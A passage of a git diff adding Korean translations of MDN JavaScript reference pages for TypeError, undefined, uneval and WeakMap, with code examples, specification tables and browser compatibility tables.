+console.log(eArr.next().value); // 20
+console.log(eArr.next().value); // 30
+console.log(eArr.next().value); // 40
+console.log(eArr.next().value); // 50
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatGeckoDesktop(37)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatGeckoMobile(37)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("TypedArray.prototype.entries()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.keys()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typeerror/index.html b/files/ko/web/javascript/reference/global_objects/typeerror/index.html
new file mode 100644
index 0000000000..2a95fc358d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typeerror/index.html
@@ -0,0 +1,123 @@
+---
+title: TypeError
+slug: Web/JavaScript/Reference/Global_Objects/TypeError
+tags:
+  - Error
+  - JavaScript
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Global_Objects/TypeError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>TypeError</strong></code> 객체는 보통 값이 기대하던 자료형이 아니라서 연산을 할 수 없을 때 발생하는 오류입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>new TypeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사람이 읽을 수 있는 오류에 대한 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>오류가 발생한 코드를 포함한 파일 이름.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>오류가 발생한 코드의 줄 위치.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>함수나 연산자의 인자가, 그 함수나 연산자가 예상하던 타입과 호환되지 않을 때 <code>TypeError</code> 오류가 던져집니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("TypeError.prototype")}}</dt>
+ <dd><code>TypeError</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>전역 <code>TypeError</code>는 메서드는 자신만의 메서드를 갖지 않지만, 프로토타입 체인을 통해 몇몇 메서드를 상속합니다.</p>
+
+<h2 id="TypeError_인스턴스"><code>TypeError</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<div>
+<dl>
+ <dt><code>TypeError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성한 함수를 나타냅니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "TypeError.prototype.message")}}</dt>
+ <dd>오류의 메시지.</dd>
+ <dt>{{jsxref("Error.prototype.name", "TypeError.prototype.name")}}</dt>
+ <dd>오류 이름. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "TypeError.prototype.fileName")}}</dt>
+ <dd>오류가 발생한 파일로의 경로. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "TypeError.prototype.lineNumber")}}</dt>
+ <dd>오류가 발생한 곳의 줄 위치. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "TypeError.prototype.columnNumber")}}</dt>
+ <dd>오류가 발생한 곳의 행 위치. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "TypeError.prototype.stack")}}</dt>
+ <dd>스택 추적. {{jsxref("Error")}}에서 상속합니다.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="TypeError_오류를_잡아내기"><code>TypeError</code> 오류를 잡아내기</h3>
+
+<pre class="brush: js">try {
+  null.f();
+} catch (e) {
+  console.log(e instanceof TypeError); // true
+  console.log(e.message);              // "null has no properties"
+  console.log(e.name);                 // "TypeError"
+  console.log(e.fileName);             // "Scratchpad/1"
+  console.log(e.lineNumber);           // 2
+  console.log(e.columnNumber);         // 2
+  console.log(e.stack);                // "@Scratchpad/2:2:3\n"
+}
+</pre>
+
+<h3 id="TypeError_오류를_생성하기"><code>TypeError</code> 오류를 생성하기</h3>
+
+<pre class="brush: js">try {
+  throw new TypeError('Hello', "someFile.js", 10);
+} catch (e) {
+  console.log(e instanceof TypeError); // true
+  console.log(e.message);              // "Hello"
+  console.log(e.name);                 // "TypeError"
+  console.log(e.fileName);             // "someFile.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypeError")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/undefined/index.html b/files/ko/web/javascript/reference/global_objects/undefined/index.html
new file mode 100644
index 0000000000..8ff8f09360
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/undefined/index.html
@@ -0,0 +1,138 @@
+---
+title: undefined
+slug: Web/JavaScript/Reference/Global_Objects/undefined
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/undefined
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>전역 <code><strong>undefined</strong></code> 속성은 <code>{{Glossary("Undefined", "undefined")}}</code> 원시 값을 나타내며, JavaScript의 {{Glossary("Primitive", "원시 자료형")}} 중 하나입니다.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-undefined.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">undefined</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>undefined</code>는 전역 객체의 속성입니다. 즉, 전역 스코프에서의 변수입니다. <code>undefined</code>의 초기 값은 <code>{{Glossary("Undefined", "undefined")}}</code> 원시 값입니다.</p>
+
+<p>최신 브라우저에서 <code>undefined</code>는 ECMAScript 5 명세에 따라 설정 불가, 쓰기 불가한 속성입니다. 그렇지 않더라도 덮어쓰는건 피하는게 좋습니다.</p>
+
+<p>값을 할당하지 않은 변수는 <code>undefined</code> 자료형입니다. 또한 메서드와 선언도 평가할 변수가 값을 할당받지 않은 경우에 <code>undefined</code>를 반환합니다. 함수는 값을 명시적으로 {{jsxref("Statements/return", "반환", "", 1)}}하지 않으면 <code>undefined</code>를 반환합니다.</p>
+
+<div class="note">
+<p><code>undefined</code>는 <a href="/ko/docs/Web/JavaScript/Reference/Reserved_Words">예약어</a>가 아니기 때문에 전역 범위 외에서 {{Glossary("Identifier", "식별자")}}(변수 이름)로 사용할 수 있습니다. 그러나 유지보수와 디버깅 시 어려움을 낳을 수 있으므로 반드시 피해야 합니다.</p>
+
+<pre class="brush: js example-bad notranslate">//  DON'T DO THIS
+
+//  logs "foo string"
+(function() {
+  var undefined = 'foo';
+  console.log(undefined, typeof undefined);
+})();
+
+//  logs "foo string"
+(function(undefined) {
+  console.log(undefined, typeof undefined);
+})('foo');</pre>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="일치_연산과_undefined">일치 연산과 <code>undefined</code></h3>
+
+<p><code>undefined</code>와 일치, 불일치 연산자를 사용해 변수에 값이 할당됐는지 판별할 수 있습니다. 다음 예제에서 변수 <code>x</code>는 초기화되지 않았으므로 <code>if</code>문은 <code>true</code>로 평가됩니다.</p>
+
+<pre class="brush: js notranslate">var x;
+if (x === undefined) {
+   // 이 문이 실행됨
+}
+else {
+   // 이 문이 실행되지 않음
+}
+</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 동등 연산자가 아니라 일치 연산자를 사용해야 합니다. 동등 연산자일 때 <code>x == undefined</code>는 <code>x</code>가 {{jsxref("null")}}일 때도 참이기 때문입니다. 즉 <code>null</code>은 <code>undefined</code>와 동등하지만, 일치하지는 않습니다.</p>
+
+<p>자세한 내용은 {{jsxref("Operators/Comparison_Operators", "비교 연산자", "", 1)}} 문서를 확인하세요.</p>
+</div>
+
+<h3 id="typeof_연산자와_undefined"><code>typeof</code> 연산자와 <code>undefined</code></h3>
+
+<p>위의 예제 대신 {{jsxref("Operators/typeof", "typeof")}}를 사용할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">var x;
+if (typeof x === 'undefined') {
+   // 이 문이 실행됨
+}
+</pre>
+
+<p><code>typeof</code>를 사용하는 이유 중 하나는 선언하지 않은 변수를 사용해도 오류를 던지지 않기 때문입니다.</p>
+
+<pre class="brush: js notranslate">// x를 선언한 적 없음
+if (typeof x === 'undefined') { // 오류 없이 true로 평가
+   // 이 문이 실행됨
+}
+
+if(x === undefined) { // ReferenceError
+
+}
+</pre>
+
+<p>그러나 다른 방법도 있습니다. JavaScript는 정적 범위를 가지는 언어이므로, 변수의 선언 여부는 현재 맥락의 코드를 읽어 알 수 있습니다.</p>
+
+<p>전역 범위는 {{jsxref("globalThis", "전역 객체", "", 1)}}에 묶여 있으므로, 전역 맥락에서 변수의 존재 유무는 {{jsxref("Operators/in", "in")}} 연산자를 전역 객체 대상으로 실행해 알 수 있습니다. 즉,</p>
+
+<pre class="brush: js notranslate">if ('x' in window) {
+  //  x가 전역으로 정의된 경우 이 문이 실행됨
+}</pre>
+
+<h3 id="void_연산자와_undefined"><code>void</code> 연산자와 <code>undefined</code></h3>
+
+<p>{{jsxref("Operators/void", "void")}} 연산자를 제 3의 대안으로 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var x;
+if (x === void 0) {
+   // 이 문이 실행됨
+}
+
+// y를 선언한 적 없음
+if (y === void 0) {
+   // Uncaught Reference Error: y is not defined
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-undefined', 'undefined')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.undefined")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>JavaScript의 {{glossary("Primitive", "원시 값")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/uneval/index.html b/files/ko/web/javascript/reference/global_objects/uneval/index.html
new file mode 100644
index 0000000000..54713864f3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/uneval/index.html
@@ -0,0 +1,67 @@
+---
+title: uneval()
+slug: Web/JavaScript/Reference/Global_Objects/uneval
+tags:
+  - Function
+  - JavaScript
+  - Non-standard
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/uneval
+---
+<div>{{jsSidebar("Objects")}}{{Non-standard_header}}</div>
+
+<p><code><strong>uneval()</strong></code>는 개체의 소스코드에 대한 문자열 표현을 만드는 함수이다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">uneval(<var>object</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>JavaScript 표현식 혹은 구문.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 개체의 소스코드에 대한 문자열 표현</p>
+
+<div class="note"><strong>주의:</strong> 인자로 넘긴 개체의 유효한 JSON 표현이 아닐 수 있습니다.</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>uneval()</code>은 최상위 수준의 함수이며 어떠한 개체와도 연관 되어있지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">var a = 1;
+uneval(a); // 1을 포함한 문자열을 반환한다
+
+var b = '1';
+uneval(b); // "1"을 포함한 문자열을 반환한다
+
+uneval(function foo() {}); // "(function foo(){})"를 반환
+
+
+var a = uneval(function foo() { return 'hi'; });
+var foo = eval(a);
+foo(); // "hi"를 반환
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p>어떤 명세에도 속하지 않습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.uneval")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+ <li>{{jsxref("JSON.stringify")}}</li>
+ <li>{{jsxref("JSON.parse")}}</li>
+ <li>{{jsxref("Object.toSource")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakmap/delete/index.html b/files/ko/web/javascript/reference/global_objects/weakmap/delete/index.html
new file mode 100644
index 0000000000..0c82351679
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakmap/delete/index.html
@@ -0,0 +1,80 @@
+---
+title: WeakMap.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>delete()</strong></code> 메소드는 <code>WeakMap</code> 객체의 특정 요소를 제거합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakmap-prototype-delete.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>wm</em>.delete(<em>key</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd><code>WeakMap</code> 객체에서 제거할 요소의 키.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>WeakMap</code> 객체의 요소가 성공적으로 제거되면 <code>true</code>, 키를 찾을 수 없거나 키가 객체가 아닌 경우 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="delete_메서드_사용하기"><code>delete</code> 메서드 사용하기</h3>
+
+<pre class="brush: js;highlight:[4]">var wm = new WeakMap();
+wm.set(window, 'foo');
+
+wm.delete(window); // Returns true. Successfully removed.
+
+wm.has(window);    // Returns false. The window object is no longer in the WeakMap.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.WeakMap.delete")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakmap/index.html b/files/ko/web/javascript/reference/global_objects/weakmap/index.html
new file mode 100644
index 0000000000..392759f523
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakmap/index.html
@@ -0,0 +1,283 @@
+---
+title: WeakMap
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap
+tags:
+  - ECMAScript6
+  - JavaScript
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WeakMap</code></strong> 객체는 키가 약하게 참조되는 키/값 쌍의 컬렉션입니다. 키는 객체여야만 하나 값은 임의 값이 될 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new WeakMap([iterable])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>iterable은 배열 또는 요소가 키-값 쌍(2-요소 배열)인 다른 iterable 객체입니다. 각 키-값 쌍은 새로운 WeakMap에 추가됩니다. null은 undefined로 취급됩니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>WeakMap의 키는 오직 <code>Object</code>형뿐입니다. 키로 {{Glossary("Primitive", "원시 데이터형")}}은 허용되지 않습니다(가령 {{jsxref("Symbol")}}은 <code>WeakMap</code> 키가 될 수 없습니다).</p>
+
+<p>WeakMap 내 키는 약하게 유지됩니다. 이게 뜻하는 바는, 다른 강한 키 참조가 없는 경우, 그러면 모든 항목은 가비지 컬렉터에 의해 WeakMap에서 제거됩니다.</p>
+
+<h3 id="왜_WeakMap인가요">왜 <em>Weak</em>Map인가요?</h3>
+
+<p>숙련된 JavaScript 프로그래머는 이 API는 네 API 메서드에 의해 공유되는 두 배열(키에 하나, 값에 하나)로 JavaScript에서 구현될 수 있음을 알 수 있습니다. 이러한 구현은 주로 두 가지가 불편했을 겁니다. 첫 번째는 O(n) 검색(n은 map 내 키 개수)입니다. 두 번째는 메모리 누수 문제입니다. 수동으로 작성된 map이면, 키 배열은 키 객체 참조를 유지하려고 합니다, 가비지 컬렉트되는 것을 방지하는. 원래 WeakMap에서는, 키 객체 참조는 "약하게" 유지되고, 이는 다른 객체 참조가 없는 경우 가비지 컬렉션을 막지 않음을 뜻합니다.</p>
+
+<p>약한 참조로 인해, <code>WeakMap</code> 키는 열거불가입니다(즉 키 목록을 제공하는 메서드가 없습니다). 키가 있다면, 그 목록은 가비지 콜렉션 상태에 달려있습니다, 비결정성(non-determinism, 크기를 결정할 수 없는)을 도입하는. 키 목록을 원하는 경우, {{jsxref("Map")}}을 사용해야 합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>WeakMap.length</code></dt>
+ <dd><code>length</code> 속성값은 0.</dd>
+ <dt>{{jsxref("WeakMap.prototype")}}</dt>
+ <dd><code>WeakMap</code> 생성자에 대한 프로토타입을 나타냅니다. 모든 <code>WeakMap</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="WeakMap_인스턴스"><code>WeakMap</code> 인스턴스</h2>
+
+<p>모든 <code>WeakMap</code> 인스턴스는 {{jsxref("WeakMap.prototype")}}에서 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype','속성')}}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype','메서드')}}</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="WeakMap_사용"><code>WeakMap</code> 사용</h3>
+
+<pre class="brush: js">var wm1 = new WeakMap(),
+    wm2 = new WeakMap(),
+    wm3 = new WeakMap();
+var o1 = {},
+    o2 = function(){},
+    o3 = window;
+
+wm1.set(o1, 37);
+wm1.set(o2, "azerty");
+wm2.set(o1, o2); // 값은 무엇이든 될 수 있음, 객체 또는 함수 포함
+wm2.set(o3, undefined);
+wm2.set(wm1, wm2); // 키와 값은 어떤 객체든 될 수 있음. 심지어 WeakMap도!
+
+wm1.get(o2); // "azerty"
+wm2.get(o2); // undefined, wm2에 o2에 대한 키가 없기에
+wm2.get(o3); // undefined, 이게 설정값이기에
+
+wm1.has(o2); // true
+wm2.has(o2); // false
+wm2.has(o3); // true (값 자체가 'undefined'이더라도)
+
+wm3.set(o1, 37);
+wm3.get(o1); // 37
+
+wm1.has(o1); // true
+wm1.delete(o1);
+wm1.has(o1); // false
+</pre>
+
+<h3 id=".clear()_메서드로_WeakMap_같은_클래스_구현">.clear() 메서드로 <code>WeakMap</code> 같은 클래스 구현</h3>
+
+<p>설명을 위해, 다음 예는 새로운 ECMAScript 6 <code>class</code> 구조를 사용합니다, 현재 널리 구현되지 않은.</p>
+
+<pre class="brush: js">class ClearableWeakMap {
+  constructor(init) {
+    this._wm = new WeakMap(init)
+  }
+  clear() {
+    this._wm = new WeakMap()
+  }
+  delete(k) {
+    return this._wm.delete(k)
+  }
+  get(k) {
+    return this._wm.get(k)
+  }
+  has(k) {
+    return this._wm.has(k)
+  }
+  set(k, v) {
+    this._wm.set(k, v)
+    return this
+  }
+}
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakmap-objects', 'WeakMap')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap-objects', 'WeakMap')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>11</td>
+   <td>{{ CompatOpera(23) }}</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>new WeakMap(iterable)</code></td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatOpera(25) }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>clear()</code></td>
+   <td>36</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>11</td>
+   <td>{{ CompatOpera(23) }}</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new WeakMap(null)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>set()</code> in constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>WeakMap()</code> without <code>new</code> throws</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>new WeakMap(iterable)</code></td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>clear()</code></td>
+   <td>35</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new WeakMap(null)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>set()</code> in constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>WeakMap()</code> without <code>new</code> throws</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("42")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] clear() 메서드는 버전 20부터 45(포함)까지 지원됐습니다.</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=547941">Mozilla에서 WeakMap 버그</a></li>
+ <li><a href="http://fitzgeraldnick.com/weblog/53/">ECMAScript 6 WeakMap으로 구현 정보 은닉</a></li>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakmap/prototype/index.html b/files/ko/web/javascript/reference/global_objects/weakmap/prototype/index.html
new file mode 100644
index 0000000000..48b4586b6e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakmap/prototype/index.html
@@ -0,0 +1,142 @@
+---
+title: WeakMap.prototype
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Property
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WeakMap.prototype</strong></code> 속성(property)은 {{jsxref("WeakMap")}} 생성자에 대한 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("WeakMap")}} 인스턴스는 {{jsxref("WeakMap.prototype")}}에서 상속합니다. 모든 <code>WeakMap</code> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있습니다.</p>
+
+<p><code>WeakMap.prototype</code>은 그 자체로 그냥 평범한 객체입니다:</p>
+
+<pre class="brush: js">Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"</pre>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>WeakMap.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성한 함수를 반환합니다. 이는 기본으로 {{jsxref("WeakMap")}} 함수입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
